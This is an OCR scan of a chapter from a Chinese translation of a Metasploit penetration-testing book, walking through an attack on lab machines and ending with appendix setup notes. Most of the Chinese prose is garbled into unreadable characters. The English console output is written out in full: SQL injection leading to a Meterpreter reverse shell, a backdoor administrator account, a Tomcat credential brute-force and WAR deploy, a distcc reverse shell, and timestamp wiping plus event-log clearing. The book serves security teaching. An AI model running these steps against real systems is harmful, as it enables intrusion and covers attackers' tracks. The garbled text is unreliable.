Starting Nmap 5.21 ( http://nmap.org ) at 2011-05-22 23:29 EDT

Nmap scan report for 172.16.32.131
Host is up (0.00071s latency).
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Not shown: 999 filtered ports
PORT  STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 17.46 seconds

BATRIX G B ENLERERE 6 Web RSB, XEK T BN L o] H77 7 0 R4cat
AR RAKEIR, T HIXLE Web /IR 55 384 45 A8 2 PR & LI AT LA ] SR 3 L, EA KRR
B, AR 7 ARAER] HTTP 35 11 80 & FF W 3 ol U ] #) . AR AEA W RAg Vi e, ol
LUEEImE 17-1 B — ML,

B 17-1  #HHEPLEA— Web MR FLF

17.3 EBEhiER

A 80 3w DR MZ fa, BATTUH#ITH —PHBEAREINEL A EAFR, AL
20T LLET X AT DS BATIX 5 Web RGBT T SR THET .

bR E M — IR, KRR HFAX G RERERIGHERR. KRB TTL R
MR TEMAR S ZMOSR T . EIXF, FA—LFLKRKBENRE, RPIZEHEH
TR TR IEE T, KifEH & TCUERRERR. “IREITNAERZLBENR
B, Mi%%EE{FEH Metasploit Z 4Mr)—2i2i% T R, thnxd Web i&:&E WA a7 LL% & Burp Suite
Chttp:/fwww.portswiggernet/) 535, THNELIFE CHIE R TR L, BIEEIER
Ko FERERANEGF, BRI —KFTHREGEIR, EHP ZMARE DB TEST G
BIHERES]S), HEALSBMAMEPBA -TESS, WwE 172 PR RMBE, BRIFER
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ALIXA T

B 17-2 Z=iRAIAH SQL iEA

BB LR A REREERFERIXFERNBA G S REM A, X 516 i 2=
WA - EMENEERE S8 SQL WA, HJARIMATEEIMR AT GE1E 2 #£ 3] {B £
Web WA FE)F AT LIINL B 5 Bl T, (HIXEME T —MREFBIBI F—EAAZ R X TR R
HIET RIE Z AW A . JBEAN A HRACEE, FRE TWE 17-3 PHRMEIRE
B

B fi B 2t H AR Web N HFEF P A SQL AR, B AEMNER T —4 SQL
wHIR “Incorrect syntax near”, TiXJE HEATHAFPTEST FralER). UOUR HIRANE DR
mHE, L MRER Google B, BLATLAWARE fa & ¥UIE & MS SQL.

EIXH, BAIADAZEHREAF QT Web MAAT SQL EABGH, SEhs LR LLEE 5
EIL BRI ASERA T —MFAE SQL AWM RS, HERAT2BMEE. (BRIIC2ES
11 EHEEMES T X—FAR), R BRINMNMIMELKREES G HIERSE, HE2FRRH2A
T HARE B~ ORBAGTEE, MERNCEME T 2N EEE RS, iRt
ANEB N O FEBECENTRT .
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server Error in '/ Application.

Incorrect syntax near 'TEST".
Unclosed quotation mark after the character string ".

Descriptian: An unharclie smceaption ocowred durmg the ses ufion of ths culien] wel egues] Plaase reoew the Siaok rmcs or mone dosmation abou The srrorn and whene § onganaied i e code
Exception Detells: Sysiem Dala S SgEaception Incormect symtas rear TEST '
Uricand quiotalicn mark afier ite character siring ~
Sowurce Error: ‘
he source code that generated this unhandled saception can only be shown when compiled in debug mode. To enable this, please follow ane of the he‘
1. Aod a "Debug=-true” directive at the top eof the file that generated the error. Example
<A F'age I..]I'-quﬁg-!'-'l:'.-l" -'.'H:huq-'l!'nc' L5

ar
2) Add the following section to the configuration file of your appllcation ‘
-:|:|:nr'+]q|.|r.=|!|nr:a-

wsysten. wehe

«coppllation debug="true” /=

iayaten wab>
«fconfigurations

Mote that this second technigue will cause all files within a given application fo be compiled in debug mode, The first techrigue will cause oaly l

Important: Funnlmg applications an debwy mode CoES LACUr @ MEROry Sperformance overnead. You should make sure that an aspplication has dEbuI’,"I]l"lq dis

Btmck Treca:

|Sqiifxreptsnn (D0 318 E Incomect syntax near TEST

Urclaved quotation mark afler the character siring .1
System. Dels. SqiCkent SgiConrecton OnError SqlEzception moepion, Beclsan bredkConnscton) = 325466
System. Data SqiCEent SqilntermalConnection OnErmon SglF eception excapbon, Boolean break Connecbon) +B00118

Sywhern. Dats SqiClent Tds Parser. TheowE sospbiondnd Warmiang! Tds ParserSislelhblect siateDh) + | 66
System. Data SqiChent Tds Parser. fun(Run Behavior runBehavior, SqlCommand cmdHardler, SqiDstaReader dataStream, BulkCo pySimplefesul Set hulk CopyHandler, Tds ParserStateObject <4

Systemn Data 5qiClent SqlDatsReader ConsumeMetalats]) =31

. System Duts. SqiChent SqilistaReader ged MedaDalai) + 62
Sysiom. Data SqiCkent SqiCommand Finls hif zecuiefeader SgllatsReader ds, RunBehavior runBehavier. Sring resetDpHonsString) +297 I

B 17-3 S B 74 SQL {EA W

17.4 ZEWNE

FERNIM Web N AR IFPaE RN, RILT —ANolDadisl SQL AT e M idiE
i XN LT, Fast-Track /& FRATTR A — G MS SQL AR 45 H-7E HEr A% _LH A\ Merterpreter
R iF ks, EOMIEWARES 11 FELLHMABFE, Fast-Track T R AU S E MS SQL

FERENRT
EE ARG — A Meterpreter X2 5, S Ll — S FF WM E TR M & A

Metasploitable F %5 )7 [ 4 .

17.5 MSF ZimhyE2ERTHITIE

AT SQLPwnage il SQL yEANHE A 4 Meterpreter %4, LIHEBHIRRS G
EREAENEE LV BPREHZ TR 11 EPRATEELNH T SQLPwnage £ —FI i MS SQL
EAWPE B30, AT EMBUERI R, KFIA xp_cmdshell kit #25K 552 B
—& SQL AR448.
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fEFFUG AT B 200, 347175 EAE MSF £35SO EC FUE I, b 1 3L BRE £ R KRR,
i Fah I E B A #) Metasploit #iWT 8%, B4R Fast-Track A PA B h L #E 4R 5 BIX T T4 . AL
W1t Metasploit 78T auto_add_route®@ PR &, {FRNIPTLAERFME T OaNEEEWR RS, 1)
AV Es 2 )5, 838l Fast-Track KA di HAR R4 .

root@bt: /opt/framework3/msf3# msfconsole
mst > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.32.129
LHOST =» 172.16.32.129
smsf exploit(handler) > set LPORT 443
LPORT => 443
©® exploit(handler) > load auto_add route
[*] Successfully loaded plugin: auto add route
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*¥] Started reverse handler on 172.16.32.129:443
[*] Starting the payload handler...
msf exploit(handler) >

AT T BTN 1D A ) AR R GRS RS, BRI F 7 5UBAT Fast-Track. (4
xterm B LIATFI, 3 EXHE, RBRMCEHRELFT A KUF )

[+] Importing 64kb debug bypass payload into Fast-Track... [+]
[+] Import complete, formatting the payload for delivery.. [+]
[+] Payload Formatting prepped and ready for launch. [+]
[+] Executing SQL commands to elevate account permissions. [+]
[+] Initiating stored procedure: 'xp cmdhshell' if disabled. [+]
[+] Delivery Complete. [+]
Launching MSFCLI Meterpreter Handler
Creating Metasploit Reverse Meterpreter Payload..
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=172.16.32.129,LPORT=443
Taking raw binary and converting to hex.
Raw binary converted to straight hex.
[+] Bypassing Windows Debug 64KB Restrictions. Evil. [+]
[+] Sending chunked payload. Number 1 of 9. This may take a bit. [+]
[+] Sending chunked payload. Number 2 of 9. This may take a bit. [+]

« « « SNIP . . .
[+] Conversion from hex to binary in progress. [+]

[+] Conversion complete. Moving the binary to an executable. [+]
[+] Splitting the hex into 100 character chunks [+]

[+] Split complete. [+]
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[+] Prepping the payload for delivery. [+]

Sending chunk 1 of 8, this may take a bit...
Sending chunk 2 of 8, this may take a bit...

. « SNIP .

Using H2B Bypass to convert our Payload to Binary..
Running cleanup before launching the payload....
[+] Launching the PAYLOAD!! This may take up to two or three minutes. [+]

XML KRBT, BN O it Fast-Track KB HAF RS 19 Web W RIFSE, 7
A SQL {FEARMEE T EHL, BAMER xp_cmdshell FEA%& I FRRN - ME BB 75 3 51 B ks A
KSERL T — P4 LhEERY Meterpreter Shell (A .

176 RBEEWEH

Xyl b, BAIVIZCLE MSF &S lE/T A Meterpreter 2 H%% 35, HAZERI LA
TR B bR REFTERM AWM, RENEMERMERLE. HTRRIX—HE, S
HFrENL A% nmap, #RFAHIXE Windows $EHL LIZITE.

B 5%, M insecure.org WY ETR 8 i VT AT SO nmap, H{RFFEAHR., BI1H
HIAZERHRRE L. BTk, HEdMKn RDP MUER BAR R4 NEFREE, RDP &
Windows R4E A 8 SCRF I~ MNZ R BN, [EBI/REE® A Windows SHEHITA T, RIFEAR
ﬂﬁﬁﬁﬂﬁmﬁﬁﬁﬁ—#nﬁﬁmﬁﬁﬂMm@mﬂ%ﬁ%ﬁ$EsﬂHﬁﬁmemﬂ
) getgui BIA<K; RDP Phil il B 98 2 20 RATWLEE L 1Y 8080 311, RIETEHIRZS iR
MHREEREP

BATI#E BackTrack B HLEI A 24T 4 rdesktop localhost:8080, 3t 7] LL{i Fl %7612 i) A
FPRSERFBRRE L. BT REH Meterpreter 145 nmap B BARE% L, H N ELEKIGH
Windows fEHL %% nmap, REMHAIX & RE M HBEEBIR, KT SHRARIBEE. MK
H, R LLERGEE Metasploit 4 ] B &R scanner/portscan/syn i scanner/poriscan/tcp
WRRHEATAR, XREFRECHETFMER.

meterpreter > run getgui -e -f 8080

[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com

[*] Enabling Remote Desktop

[*¥] RDP is already enabled

[*] Setting Terminal Services service startup mode

[*] Terminal Services service is already set to auto

[*] Opening port in local firewall if necessary

[*] Starting the port forwarding at local port 8080

[*] Local TCP relay created: 0.0.0.0:8080 <-> 127.0.0.1:3389
meterpreter > shell
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Process 2480 created.

Channel 6 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>net user msf metasploit /add
net user msf metasploit /ADD

The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators mst /add
net localgroup administrators msf /add

The command completed successfully.
C:\WINDOWS\system32>»

C:AWINDOWS\system32>*Z

Background channel 6? [y/N] vy

meterpreter > upload nmap.exe

[*] uploading : nmap.exe -> nmap.exe

[*] uploaded : nmap.exe -> nmap.exe
meterpreter >

A e AT IE - BB 1, B B AR RS L2 nmap, FAVIFHEEEAET
Hirmipiegrh 7. E Lo L S HNERNRYE, HE—FPBEABMNET .

17.6.1 1334 Metasploitable $B#]

1L Meterpreter 2% . BT 354 auto_add_route 4 g A THUAE T A 3 I 48 A4 7 o) i i 2
fG, FATTATCA{E A B BE AT Windows XP #IHLIE A BEMR, KHFMBLGEARNSE EN. ATE&
HRHENT AFERILE, BT CLERATA] LA E #6050 3] T Metasploitable #2401 H 7. ibRATEH %4
AN EEAR I 4.

——

nmap.exe -sT -A -PO 172.16.32.162

PORT STATE. SERVICE VERSION

21/tcp open fip ProfFTPD 1.3.1
| ftp-bounce: no banner
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntui (protocel 2.0)

| ssh-hostkey: 1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

23/tcp open telnet Linux telnetd
25/tcp open smip Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)

| _html-title: Site doesn’t have a title (text/html).

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntus

5432/tcp open postgresql PostgreSQL DB
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8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote ISP engine 1.1
| html-title: Apache Tomcat/5.5

| http-favicon: Apache Tomcat

MAC Address: 00:0C:29:39:12:B2 (VMware)

No exact 0S matches for host (If you know what 0S is running on it, see http://nmap.org/submit/ ).
Network Distance: 1 hop

Service Info: Host: metasploitable.localdomain; 0Ss: Unix, Linux

Host script results:

| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
| smb-os-discovery:

| 0S: Unix (Samba 3.0.20-Debian)

| Name: WORKGROUP\Unknown

| System time: 2010-05-21 22:28:01 UTC-4

0S and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.19 seconds

XEALFERR LRI . 2T nmap FIERERGEHHAR I, HROEFREDHER HR
A4 23 UNIX/Linux REAEFR . i —&TFHRm -, W FTP. Telnet. HTTP. SSH,
Samba. MySQL. PostgresSQL Fll Apache M i%X R HIRAKMIWG] Ji.

17.6.2 R3FHREARARS
T — i AR R RO, TR S TR T HEAF B, Sk F RN RGN i

msf » use auxiliary/scanner/ftp/ftp_version

msf auxiliary(ftp version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162

msf auxiliary(ftp version) > run

[*] 172.16.32.162:21 FTP Banner: '220 ProFTPD 1.3.1 Server (Debian) [::ffff:172.16.32.162]\x0d\x0a’
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
msf auxiliary(ftp version) >

Wit xt FTP RS T A, BAE B ProFTPD 1.3.1 iZ477E 21 %50 £, # Fk{#AH SSH %
THRALATHRRERSEHER (FHK-v FFEMERMNEG2 -SERAFEEMmE) . THRE

HeE R B RERBRINBERAELZEITE N ZIBMAN OpenSSH, &% 114 Ubuntu &4 F %%
B,

mst > ssh 172.16.32.162 -v
[*] exec: ssh 172.16.32.162 -v

OpenSSH_5.1p1 Debian-3ubuntui, OpenSSL 0.9.8g 19 Oct 2007
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WARNZITW M4, K#EE His RE R KIZIT R A4 Ubuntu.

msf auxiliary(telnet version) » set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162
mst auxiliary(telnet version) > runm

[*] 172.16.32.162:23 TELNET Ubuntu 8.04\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(telnet version) >

Great! HAICELMET HIFRZIZITHE Ubuntu 8.04, LLEFERH THEMNREINER X
(telnet #1 FTP) , LIERI e KIniveEq].

BMAELRATER SMTP, HiE F{EHIFRE LT AW BT s RS . i ERINRAER
M e FE 1 H AR IR 95 88 L BRIz 1T 8 R L R A 1) WY 28 R 55 .

msf > use auxiliary/scannexr/smtp/smtp version

mst auxiliary(smtp version) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162

msf auxiliary(smtp version) > run

[*] 172.16.32.162:25 SMTP 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)\xod\x0a
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
msf auxiliary(smtp version) »

M _LTERVT LA £, Metasploitable it 5528 L F & HKIZ1TH Postfix H-FHEHIRSS -
K BB T I TAERIFE B H BN, HREl)E, MiZEeeRkB THEHRRS
LR AT BRI FIR, X5 B R B A Mo 7 =U i B 1 A .

17.7 I Apache Tomcat

ARV AR H AT BN, EFEA DB BT

ERATAT E AT DR, CREERRE LERR T —HAZERA, SFREEN
BEIGE A — SRR RN . BE, B FTHR K&, #ETUXT AR REET
WA, RARMNMERRES B BLERE, SRR UERBRY S D RFAR B3R
. BAAELERITE 63 Apache,

R85 AT DR 45 5, £ P Apache Tomcat ZZ367F 8180 3 0 |, it —L:MismH
EXW A, AT AR Tomeat MEBREONFEE MR HIBARE (ERXZHEERT, AR
LAER exploit-db B8 Google K&t % — MR SR H vl BERIIRI D, ZEXT HAR ARG L 23 # Apache
Tomcat ARG A S HITIH —PHINZE, BITKIMX Tomcat HHBHTHHEFEERZREIEGR
G BGRBEZ . R E LI Tomcat BHEASHTHEE, BMATLEH HTTP i PUT A
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fF H AR RS DA BHEAT . RAW FoR)E 31X IRBFERE GRBY 1 — LT3 M T 8 fr 1
).

mst » search apache
[*] Searching loaded modules for pattern 'apache’...

. = « SNIP . . .

msf auxiliary(tomcat mgr login) > set RHOSTS 172.16.32.162
RHOSTS => 172.16.32.162

smst auxiliary(tomcat mgr login) > set THREADS 50

THREADS => 50

msf auxiliary(tomcat mgr login) > set RPORT 8180

RPORT => 8180

mst auxiliary(tomcat mgr login) > set VERBOSE false
VERBOSE =» false

emst auxiliary(tomcat mgr login) > run

[+] http://172.16.32.162:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager]
successful login "tomcat' : '"tomcat'

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tomcat mgr login) >

FATIH) 28 J) R LN T, Metasploit A Ih#b LIRS I Z ) H P 4 tomceat #1134 tomcat B 57 %
T Tomcat & # 4% L, HHEFEI]— Shell.

FIF BRI MBI L SEE, FIH multithtp/tomeat mgr deploy 1835 B rh 4L /)
Apache ] HTTP PUT Zh6g, [n] HAR RGHEARA TR B BiAr

auxiliary(tomcat mgr_login) > use multi/http/tomcat_mgr deploy
msf exploit(tomcat_mgr deploy) > set password tomcat

password => tomcat

msf exploit(tomcat mgr deploy) > set username tomcat

username => tomcat

mst exploit(tomcat mgr deploy) > set RHOST 172.16.32.162

RHOST => 172.16.32.162

mst exploit(tomcat_mgr deploy) > set LPORT 9999

LPORT => 9999

Msf exploit(tomcat mgr deploy) > set RPORT 8180

RPORT => 8180

mst exploit(tomcat mgr deploy) > set payload linux/x86/shell bind tcp
payload => linux/x86/shell bind tcp

mst exploit(tomcat mgr_deploy) > exploit

[*] Using manually select target "Linux X86"

[*] Uploading 1669 bytes as FW36owipzcnHeUyIUaX.war ...

[*] Started bind handler
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[*] Executing /FW36owipzcnHeUyIUaX/UGMIAFF jVENQOpaVveswTlma. jsp...
[*] Undeploying FW36owipzcnHeUyIUaX ...
[*] Command shell session 1 opened (172.16.32.129:43474 -> 172.16.32.162:9999) at 2010-05-
21 23:57:47 -0400mst

1s

bin

boot

cdrom

dev

etc

home

initrd

initrd.img

lib

lost+found

media

mnt

opt

proc

root

shin

STV

SYys

tmp

usr

Var

vmlinuz

whoami

tomcatss

1s /root

reset_logs.sh
mkdir /root/moo.txt
mkdir: cannot create directory '/root/moo.txt': Permission denied

ER: BROVAEEME root BRTEAIM, BECAZKMBIRIE PMRMRIAHIKS, RinxE
FRTEERHFP AP W H % LT, Apache R %52 LA Apache F /7 ik /™ I apache . httpd .
www-data FFRIZITH . ZTFTRATCLX BAREHRBRIERGRAR T #, 7T LAUSE — P4
R A KIRGRA P RR. BRCECERRE T —EEARY R, EEAIREET A5
— PP AN R ) Bl AR T

2R FTEALEBEHRIRARE, 38T LA Metasploitable _E 3§ root 7 9] 4%t — 2&
IG5 SSH = Tl &4 44 MLALEL A A%, 35 515 38k http://www.exploit-db.com/exploits/5720/.

17.8 WH—1MmiTRIARSS

MO BT — R ERIA R nmap % D HEH, RAFRAERH AR LA e mH .
HAHTRANNECEE T RERVILE D RIAL, 7T LA netstat -antp 772, B LA BL nmap
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B RN H A . G —REENRRP, BIOAEARKERIIETSE, ©
(BEELEESS S P

AR BB 3G 1 3632 2 P 3 CBE S DistCC RS, T H T LHEE LRI DistCC
& PMEBEMB P L EHLRAMHE SR C/C++HUIBERRSEE, MHAESRARA (Y
FRATIEENAR, SEWEBRRAARBHNAEERNE R, BEARGEIEA ST
XLEH PR

mst exploit(distcc_exec) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell reverse tcp

msf exploit(distcc_exec) » set LHOST 172.16.32.129

LHOST => 172.16.32.129

shomst exploit(distcc exec) > set RHOST 172.16.32.162

RHOST => 172.16.32.162

mst exploit(distcc_exec) > show payloads

Compatible Payloads

I S————
SRS I e

Name Rank Description

ecmd/unix/bind perl normal Unix Command Shell, Bind TCP (via perl)
cmd/unix/bind ruby normal Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/generic normal Unix Command, Generic command execution
cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet)
cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via perl)
cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)

mst exploit(distcc_exec) > set payload cmd/unix/reverse
payload =»> cmd/unix/reverse
msf exploit(distcc_exec) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo q6Td9oaTrOkXsBXS;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket A

[*] A: "q6Td9oaTrOkXsBXS\r\n"

[*] Matching...

[*] B is input...

[*] Command shell session 2 opened (172.16.32.129:4444 -> 172.16.32.162:47002) at 2010-05-
22 D0:08:04 -0400

*

#*

%

whoami

daemon

mkdir /root/moo

mkdir: cannot create directory '/root/moo’': Permission denied
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FEE: BAMARBEAEE root. —IRAMISEF Bt o] LAME— B BPE R G H B L HIRA
Pyriale ATEXBH NS HBELWRER, HHHIRIEERF e 2|15 £ Metasploitable &
G5 LR IHIRAL root PR . —PMERBAIRAI LI Expoit-db LIRBIAHXANEZERN . BZHE,
R B ORI XSHLEE LA A PR Linux 2% Meterpreter shell .

17.9 BREIREYERIT

Ese R EN MG, T - PHEERFISMEAERRE L, RKIEBRRININEDE, BH
FR A S FEIARM, FeRi 2 R U0 Meterpreter shell, (%S 58 fb 4%, LLBE4IE
HbR RGO 2 B B il i « 25601k 3L, MBAMER T PUT H kB —& Apache Tomeat
S, HAth BBk 2 T B84 FHOE B 4E _ETHIPVE B A Sk TR R 4

HLEN %, PRHEERBIRIERE, M7z i iR B 2 4 B 434 R f2 Wi B fig
N ERAMEOLT, REH AR R E A HUE SR R kR . BHEERTRAER
VR RO ERZE, (R AT AR RG0K I AR AT HUE 0 T B9 N B, A4t L AS w] e 14550 B R
) B o i

ELZHAEF T, EFRBEEP TR, WRIRSE T RS AL REL1EBGE 248 Br ik #ird
B L2 e s AR AR EL AR, AR AT A RAE R H R4 O LB R ¥ I, B T
FIFRMNRLEHHIE] THRLE(F B NHBUE T RER T EREBBNRE RS ERIFLBTH
RIARERE, (FXEBENGSREPEFERRD .

{E LW — 25T AT 24112 B Meterpreter {U{NAF7E T P9 72 5 2 — AN XHHUBLIE 447 B4R
Beo BRI, VRSB A A7 23 18] R 3 REXF Meterpreter i 2 1R RSk, R BH
Wi 20 32 H R RN ) Meterpreter B 8T 77, 1 Metasploit B4 142 DA B iR
Meterpreter HJ#r 771K 2EAT (Bl .

SR BEAT T 8 AN Meterpreter 558 A A RRAS 2 18] 47 EE RS INZ BLEOHE AR, 29— A 4 g
WREGH RBE VR AAT G, | AR LU A B ERR A I H XS W B, HE e85
FFUEPEOR R R GE /1. ERBHAGIT, BUESHTE RAIM Metasploit & 58 2 Ab & R FE
B B ok R AH 2 R R .

FATR A 32 L e iR R B ER 2 B IR RIAE B, {HA2LE Metasploit &)L R AR 18
138N [H): timestomp F1 event_manager. Timestomp &—/> Meterpreter [I3E/:, 7 LLZ R4
O AR SO B B B A R s TR . BRATTAERIZAT R timestomp:

meterpreter > timestomp

Usage: timestomp file path OPTIONS
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OPTIONS:

-a <opt> Set the "last accessed” time of the file

-b Set the MACE timestamps so that EnCase shows blanks
-c <opt> Set the "creation" time of the file

-e <opt> Set the "mft entry modified" time of the file

-f <opt> Set the MACE of attributes equal to the supplied file

-h Help banner

-m <opt> Set the "last written" time of the file

-Y Set the MACE timestamps recursively on a directory
-V Display the UTC MACE values of the file

-z <opt> Set all four attributes (MACE) of the file

meterpreter > timestomp C:\\boot.ini -b
[*] Blanking file MACE attributes on C:\boot.ini
meterpreter >

LRG| Frp, FAMS S T W 1RIER, (675 29 BUUE -9 & (8 — AT B BGIE 4§ T R Encase
i, XL A ERAR = SR AT H.

M event_manager T RMIZENFFHRE, ERENAT LWL fE2HR HBGERAE
RAEfE R

meterpreter > run event_manager
Meterpreter Script for Windows Event Log Query and Clear.

OPTIONS:

-c <opt> C(lear a given Event Log (or ALL if no argument specified)
-t ¢<opt> Event ID to filter events on

~-h Help menu

-i Show information about Event Logs on the System and their configuration

-1 <opt> List a given Event Log.

-p Supress printing filtered logs to screen

-5 <opt> Save logs to local CSV file, optionally specify alternate folder in which to
save logs

meterpreter > run event_manager -c

[-] You must specify an eventlog to query!
[*] Application:

[*] Clearing Application

[*] Event Log Application Cleared!

[*] MailCarrier 2.0:

[*] Clearing MailCarrier 2.0

[*] Event Log MailCarrier 2.0 Cleared!
[*] Security:

[*] Clearing Security

[*] Event Log Security Cleared!

[*] System:

[*] Clearing System

[*] Event Log System Cleared!
meterpreter >
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7E Bk, BAOTERR THEHEARE, BRUEMTrETRIJIFERE B R LI
HERBHOFIN, MmAESihERRIRERRE. REEERHER, WaENBOES & A2
ik [ ) & A 2R R AL 2 AT B Hh 3 S O BGE B, (B RAR S ATE R A T - LR 3 .

1&%%E3?T%ﬁ‘ﬁﬁ#¢ﬁ%fﬁ?’%ﬁm{$ﬂif IXAEE AR AT LA 2 ) 1t B G o R ) B

, R RESTEERARL LW T sk 2 Tk, X4 ik NORTEE 70 #r B BA B TAFAF
-%ES‘E: {HEATL A AT BB ER BIVRAT .

17.10 &

FIILAE, FRATAT A4k LE{E B Metasploit F1 Meterpreter R (i AR &8 P g HAL EHL, A
B i FRRATTRIBNE DR BE . WRXE —/ERBMLE, AT LMEREME S EDAERG
LERTBCR BlfE BoR ST — P HIBBAR .

2B kiR, EXTEPRIMNCERE T —6 Windows FEHLRGE, FATAT AR Meterpreter
LM HIFRRS LHEUH 4 hash {8, HFHXLEOSE BREZLSHAR Windows FHLE T
E. fE—foMbIRbs, AHEHAKSSEEASR RS R —FF8, FrelEATTCfERM
— B ARG LR BMGER, BRIAGES -6 REVFFR. 280 FE /R A8 9517 w4075
BHTERAR RS, B HAT RN SR BAGER, RRAETERE, AR
B T AIEEG.

BAEAREPFEH T M, B “FFEREY Y, WHEFEFBZMHARNEE
BRHEANB B RS, Wl — PR ST, ZIHERA IR LA K% & i
SABEAENE. BRERIFEEE N — 2 B A F2ER LI SR AT 7E

EVRRBEMIER b, o e Ed@ LR MR B2 AR, BAELE
PR RE ARG . LR BEILNE 2 AR REEN XSS BIIRITEFE T

-SEEE R TR, WS AR RGN —HF R T, BAER SRR B SR, XA
DAIAEARATIAE T A W= 2 8 EAFPR S, AT RAERRE T, oA PR IX AN S o B8 %8 A )
FIME— Bl “SEBk. SEBR. BSEER”.
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F A Metasploit HERFIBRIFINER R ER: EE-MEE, HIRTLERTEBH
FERE) . AMKRE T ERRIE MR, XERAFHHE T

Al BEEEBERS

A FWAAEEH S/ T Back/Track. Ubuntu 9.04. Metasploitable f1 Windows XP.
Back|Track #1243 TI&ATHBGENL, T Ubuntu 1 Windows R4 2R A B FREHL.

HAGAIE—/MEFESTEMIANT i) Windows XP SP2 RYE (FHiE: WK, 58+
SEPNTRERFF 20D, HAXWEEBHFE R F. Back|Track  Ubuntu 9.04 ERIHLEEEITE—
8 %% T Windows. Mac OS X Bt Linux #{ERZA TV LMHER VMware =it 2 b, &%
Workstation. Server. Player. Fusion & ESX.



Metasploit i£i% WX 15

BR: 4Rk 4 Ubuntu A= Windows XP & flAL, B AiX i 2 4 LA 55 & BLIRZ Hals
FAE, FREEXEE P EFETHRITH: SRR EAECMNSFLERS, EFTL
o, A ALFE.

SRR IE B %) Windows Fl Linux FRACH) VMware Player, 15 F#F3Facde. an AR #
H & Mac OS X, iF M4 VMware Fusion B 30 K& LM (R IR IETEIZIT Windows, PR
th ] BA{# H] VMware Server 9% 2AR . )

HEZH U VMware 2 5, Witi.vmx XA FGER, s0#FE L VMware Player T JTERIHL L
4, EFE File->Open H B I8 M F T B BRIFUA B SCHRR SCHI2. an B ARE M 1SO 88 %
), G EFREMAL, HIEEZ 1SO XA CD-ROM i 4 .

BR: ARTYAM http://www.backtrack-linux.org/ F # Back|Track, 4 http://www.vmware.
com/appliances/directory/ 7 & 4% F Ubuntu 9.04 7+ F #. Metasploitable 7 http://blog.metasploit.
com/2010/05/introducing-metasploitable.html F #X,.

A2 2|5 Linux &1

£ R BNEMT—~ Linux BWLZ)G, FFESF K. Linux B85 FERGARRZF 4 root fl#
i toor.

WERVRAI M &% 0 847 DHCP R 9548, R H VR R GRI bk v [ 48 A Ty &R ar . (9
W — 2 RO PE IR TP Huhlk, H HoRBr MO IR EMAAN . ZETHRELZFTH
WA, WFUR http://www.yolinuwx.com/TUTORIALS/LinuxTutorialNetworking. html . )

root@bt:~# nano /etc/network/interfaces
Password:

<inside the nano editor place your valid information into the system>

# The primary network interface

auto etho # the interface used

iface etho inet static # configure static IP address
address 192.168.1.10 # your IP address you want
netmask 255.255.255.0 # your subnet mask
network 192.168.1.0 # your network address
broadcast 192.168.0.255 # your broadcast address
gateway 192,168.1.1 # your default gateway

<control-x>

<y>

ACE SEMRZ JG, YR Linux 2R/ LMER T . AEEFIVRE Ubuntu R4, BEABRRFRSA
AT R .
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A3 REFREHA Windows XP

A TIBATARLPRIPF, IRFEELZER A CHEAE Windows XP #5260 VMware )
-6 . QST G, LA Administrator T3% 3§47 7T Control Panel, 1]#: %) Classic View,
M IEFE Windows Firewall. i Off 3 &7 OK. (X PMNGHREERIFAIEL, HEREALTH
Rl O R AR S )

F—2¥, $IJF Automatic Updates } Hi%#F Turn off Automatic Updates; #R /5 577 OK 40
HIRIEAE S > EFEXT Windows EITIBBH AT, RASHMELTIT EXHT.

WAL T Network Connections #5 i[R3R RARCE — 884 IP Motk XA R LY,
(EEIXFF S E VR BB BE e S E EH N H ARt .

A.3.1 1£ Windows XP Lt & {/R &M 51 R %% 2

A TEFHE A, FHRE N ERMIEERE, RIS ZE—SHIMNIIRS .

1. fEIBHIH AR S, %+ Add or Remove Programs, #RJ5%# Add/Remove Windows
Components. 14N 1% & ¥ Windows Components Wizard .

2. J%F¥ Internet Information Services (I1S)f) & 3 HE 3 H 5+ Details. #RJ5 %3% File Transfer
Protocol (FTP) Service BB EHEH riiti OK 44l . LLEE Hr (@ B9, FTP AR %S 2R iAE R FEE 2 Ui ).

